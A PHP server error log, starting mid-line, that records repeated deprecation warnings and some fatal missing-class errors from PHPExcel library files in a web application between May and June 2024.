/home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:59:34 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:59:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:59:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:59:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:59:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:59:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:59:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:59:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:59:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:59:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:59:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:59:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:59:46 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1928 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 1991 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2128 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2153 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2163 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2181 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2194 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2198 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2278 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2402 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2417 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2432 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2447 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2462 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2477 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2492 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2507 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2549 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2614 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2630 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2808 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2891 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2958 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 2980 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3886 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3909 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3921 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3922 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3923 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3926 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3927 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3928 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3929 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3932 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3933 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3934 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3935 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 3999 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4065 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4068 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4450 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4601 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 4603 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6889 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 6892 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7297 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7300 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel5.php on line 7303 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:59:50 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:59:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 21:59:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 21:59:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 21:59:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 21:59:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 21:59:54 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 21:59:58 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [29-May-2024 22:00:06 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [29-May-2024 22:00:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 22:00:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 22:00:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 22:00:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 22:00:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 22:00:10 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 22:00:18 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [29-May-2024 22:00:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [29-May-2024 22:00:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [29-May-2024 22:00:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [29-May-2024 22:00:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [29-May-2024 22:00:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [29-May-2024 22:00:22 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [01-Jun-2024 14:28:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [01-Jun-2024 14:28:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [01-Jun-2024 14:28:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [01-Jun-2024 14:28:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [01-Jun-2024 14:28:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [01-Jun-2024 14:28:38 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [01-Jun-2024 14:30:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [01-Jun-2024 14:30:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [01-Jun-2024 14:30:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [01-Jun-2024 14:30:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [01-Jun-2024 14:30:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [01-Jun-2024 14:30:52 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [01-Jun-2024 14:33:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [01-Jun-2024 14:33:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [01-Jun-2024 14:33:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [01-Jun-2024 14:33:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [01-Jun-2024 14:33:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [01-Jun-2024 14:33:20 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 692 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Excel2003XML.php on line 701 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [01-Jun-2024 14:33:57 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [01-Jun-2024 14:46:00 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [08-Jun-2024 17:33:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [08-Jun-2024 17:33:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [08-Jun-2024 17:33:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [08-Jun-2024 17:33:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [08-Jun-2024 17:33:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [08-Jun-2024 17:33:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [10-Jun-2024 23:32:25 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [12-Jun-2024 04:09:15 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Exception.php on line 28 [13-Jun-2024 05:32:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [13-Jun-2024 05:32:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [13-Jun-2024 05:32:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [13-Jun-2024 05:32:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [13-Jun-2024 05:32:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [13-Jun-2024 05:32:59 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [17-Jun-2024 01:21:06 UTC] PHP Fatal error: Uncaught Error: Interface 'PHPExcel_Reader_IReader' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Reader/Abstract.php on line 28 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [17-Jun-2024 01:21:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 